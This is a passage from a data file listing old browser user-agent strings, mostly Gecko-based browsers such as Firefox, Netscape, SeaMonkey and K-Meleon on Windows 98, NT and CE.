Firefox/2.0\nMozilla/5.0 (Windows; U; Win98; de; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20\nMozilla/5.0 (Windows; U; Win98; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Win98; en-CA; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Win98; en-GB; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; Win98; en-GB; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Win98; en-GB; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Win98; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.1) Gecko/20010607 Netscape6/6.1b1\nMozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nMozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2\nMozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.9) Gecko/20020311\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.0) Gecko/20020530\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.0rc2) Gecko/20020510\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.1) Gecko/20020826\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.1a) Gecko/20020611\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.2a) Gecko/20020910\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.3) Gecko/20030312\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.3.1) Gecko/20030425\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.3a) Gecko/20021207 Phoenix/0.5\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.3a) Gecko/20021212\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.3b) Gecko/20030210\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko/20030624\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.4a) Gecko/20030401\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.5) Gecko/20031007 Firebird/0.7\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.5) Gecko/20031016 K-Meleon/0.8.2\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.6) Gecko/20040206 Firefox/0.8\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7) Gecko/20040616\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.10) Gecko/20050716 (No IDN) Firefox/1.0.6\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.12) Gecko/20050915\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 (ax)\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.12) Gecko/20051002\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax)\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.3) Gecko/20040910\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.5) Gecko/20041220 K-Meleon/0.9\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.5) Gecko/20050603 Netscape/8.0.2\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 (ax)\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.8) Gecko/20050511\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.2) Gecko/20060404 SeaMonkey/1.0.1\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.7) Gecko/20060917 K-Ninja/2.0.4\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.8) Gecko/20061030 SeaMonkey/1.0.6\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.9) Gecko/20061211 SeaMonkey/1.0.7\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061101 SeaMonkey/1.1b\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.12) Gecko/20080201 SeaMonkey/1.1.8\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.17) Gecko/20080829 Mozilla/5.0 (X11; U; Linux armv7l; en-US; rv:1.9.2a1pre) Gecko/20090322 Fennec/1.0b2pre\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.1.6\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.23) Gecko/20090825 MultiZilla/1.8.3.4e SeaMonkey/1.1.18\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.24) Gecko/20100228 Firefox/3.6\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.24) Gecko/20100228 K-Meleon/1.5.4\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.24) Gecko/20100228 SeaMonkey/1.1.19\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.24pre) Gecko/20091010 K-Meleon/1.5.4\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.4) Gecko/20070509 SeaMonkey/1.1.2\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.4pre) Gecko/20070404 K-Ninja/2.1.3\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.8pre) Gecko/20071019 Firefox/2.0.0.8 Navigator/9.0.0.1\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.9) Gecko/20071030 SeaMonkey/1.1.6\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.9pre) Gecko/20071102 Firefox/2.0.0.9 Navigator/9.0.0.3\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.8a6) Gecko/20050111\nMozilla/5.0 (Windows; U; Win98; en-US; rv:x.xx) Gecko/20030423 Firebird Browser/0.6\nMozilla/5.0 (Windows; U; Win98; es-AR; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Win98; es-AR; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Win98; es-ES; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Win98; fr-FR; rv:0.9.4) Gecko/20011019 Netscape6/6.2\nMozilla/5.0 (Windows; U; Win98; fr-FR; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; Win98; fr-FR; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.5) Gecko/20041108 Firefox/1.0\nMozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.6) Gecko/20050226 Firefox/1.0.1\nMozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.6) Gecko/20050318 Firefox/1.0.2\nMozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Win98; fr; rv:1.4) Gecko/20030624\nMozilla/5.0 (Windows; U; Win98; fr; rv:1.7.3) Gecko/20040910\nMozilla/5.0 (Windows; U; Win98; fr; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Win98; fr; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Win98; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Win98; it-IT; rv:1.0.0) Gecko/20020530\nMozilla/5.0 (Windows; U; Win98; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Win98; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax)\nMozilla/5.0 (Windows; U; Win98; it; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Win98; it; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Win98; ja-JP; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Win98; nl-NL; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Win98; pl-PL; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Win98; pl-PL; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Win98; pl; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Win98; pl; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Win98; pt-BR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Win98; pt-BR; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Win98; ru; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Win98; rv:1.7.3) Gecko/20040913 Firefox/0.10\nMozilla/5.0 (Windows; U; Win98; rv:1.7.3) Gecko/20041001 Firefox/0.10.1\nMozilla/5.0 (Windows; U; Win98; zh-TW; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable\nMozilla/5.0 (Windows; U; WinNT3.51; en-US; rv:1.8.1.8) Gecko/20071009 SeaMonkey/1.1.5\nMozilla/5.0 (Windows; U; WinNT4.0; de-AT; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Windows; U; WinNT4.0; de-AT; rv:1.1) Gecko/20020826\nMozilla/5.0 (Windows; U; WinNT4.0; de-AT; rv:1.2) Gecko/20021126\nMozilla/5.0 (Windows; U; WinNT4.0; de-AT; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (Windows; U; WinNT4.0; de-AT; rv:1.3.1) Gecko/20030425\nMozilla/5.0 (Windows; U; WinNT4.0; de-AT; rv:1.7.11) Gecko/20050728\nMozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nMozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:0.9.4) Gecko/20011019 Netscape6/6.2\nMozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2\nMozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0\nMozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1\nMozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; WinNT4.0; de; rv:1.8) Gecko/20051025 Firefox/1.5\nMozilla/5.0 (Windows; U; WinNT4.0; en-CA; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; WinNT4.0; en-GB; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; WinNT4.0; en-GB; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; 1.2.1) Gecko/20021130\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9.5) Gecko/20011011\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.0.0) Gecko/20020530\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.0.1) Gecko/20020826\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.1) Gecko/20020826\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.1a) Gecko/20020611\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2) Gecko/20021126\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021016\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021016 K-Meleon 0.7\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021029 Phoenix/0.4\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.3) Gecko/20030312\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.3a) Gecko/20021207 Phoenix/0.5\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.3a) Gecko/20021212\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.4) Gecko/20030624\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.4a) Gecko/20030401\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.4b) Gecko/20030507\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.4b) Gecko/20030610 Mozilla Firebird/0.6\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.5) Gecko/20031016 K-Meleon/0.8\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7) Gecko/20040616\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.12) Gecko/20050915\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; WinNT4.0; fr-FR; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nMozilla/5.0 (Windows; U; WinNT4.0; fr-FR; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; WinNT4.0; fr-FR; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; WinNT4.0; fr-FR; rv:1.0.0) Gecko/20020530\nMozilla/5.0 (Windows; U; WinNT4.0; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; WinNT4.0; fr-FR; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Windows; U; WinNT4.0; fr; rv:1.8.1) Gecko/20061003 Firefox/2.0\nMozilla/5.0 (Windows; U; WinNT4.0; it-IT; rv:1.4b) Gecko/20030507\nMozilla/5.0 (Windows; U; WinNT4.0; zh-CN; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable\nMozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable\nMozilla/5.0 (Windows; U; Windows 95; ru-RU; rv:1.9.0.6) Gecko/2009011913 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows 98; en-US; rv:1.8.1.5pre) Gecko/20070710 Firefox/2.0.0.4 Navigator/9.0b2\nMozilla/5.0 (Windows; U; Windows 98; en-US; rv:1.8.1.8pre) Gecko/20071019 Firefox/2.0.0.8 Navigator/9.0.0.1\nMozilla/5.0 (Windows; U; Windows CE 4.20; rv:1.8) Gecko/20060215 Minimo/0.013\nMozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007\nMozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8) Gecko/20060428 Minimo/0.015\nMozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1.4pre) Gecko/20070327 Minimo/0.020\nMozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016\nMozilla/5.0 (Windows; U; Windows CE 5.2; en-US; rv:1.9.2a1pre) Gecko/20090210 Fennec/0.11\nMozilla/5.0 (Windows; U; Windows CE 5.2; rv:1.8.1.4pre) Gecko/20070327 Minimo/0.020\nMozilla/5.0 (Windows; U; Windows CE 5.2; rv:1.8.1a3) Gecko/20060610 Minimo/0.016\nMozilla/5.0 (Windows; U; Windows CE 6.0; en-US; rv:1.9.2a1pre) Gecko/20090219 Minefield/3.2a1pre\nMozilla/5.0 (Windows; U; Windows CE; Mobile; like Android; ko-kr) AppleWebKit/533.3 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.3 Dorothy\nMozilla/5.0 (Windows; U; Windows CE; Mobile; like iPhone; ko-kr) AppleWebKit/533.3 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.3 Dorothy\nMozilla/5.0 (Windows; U; Windows NT 3.51; en-GB; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 4.0; SG; rv:1.7.5) Gecko/20050610 Netscape/8.0.2\nMozilla/5.0 (Windows; U; Windows NT 4.0; en-US; rv:1.8.0.2) Gecko/20060418 Firefox/1.5.0.2;\nMozilla/5.0 (Windows; U; Windows NT 5.0; ; rv:1.8.0.1) Gecko/20060111 Firefox/1.9.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; ; rv:1.8.0.10) Gecko/20070216 Firefox/1.9.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; ; rv:1.8.0.7) Gecko/20060917 Firefox/1.9.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; cs-CZ; rv:1.7.5) Gecko/20041217\nMozilla/5.0 (Windows; U; Windows NT 5.0; cs-CZ; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; cs; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.0; cs; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.0; cs; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; cs; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.0; cs; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; cs; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; da-DK; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:0.9.8) Gecko/20020204\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.0.0) Gecko/20020530\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.0.1) Gecko/20020826\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.0rc2) Gecko/20020510\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.1) Gecko/20020826\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.1b) Gecko/20020721\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.2) Gecko/20021126\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.3.1) Gecko/20030425\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.3a) Gecko/20021212\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.3b) Gecko/20030210\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.5) Gecko/20031007\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.6) Gecko/20040113\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7) Gecko/20040616\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7.11) Gecko/20050728\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7.12) Gecko/20050915\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7.13) Gecko/20060414\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7.6) Gecko/20050319\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7.7) Gecko/20050414\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7.8) Gecko/20050511\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7.8) Gecko/20050511 (No IDN)\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7b) Gecko/20040421\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8) Gecko/20051219 SeaMonkey/1.0b\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8.0.8) Gecko/20061030 SeaMonkey/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8.1.16) Gecko/20080702 SeaMonkey/1.1.11\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8.1.16) Gecko/20080702 SeaMonkey/1.1.11 Mnenhy/0.7.5.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15 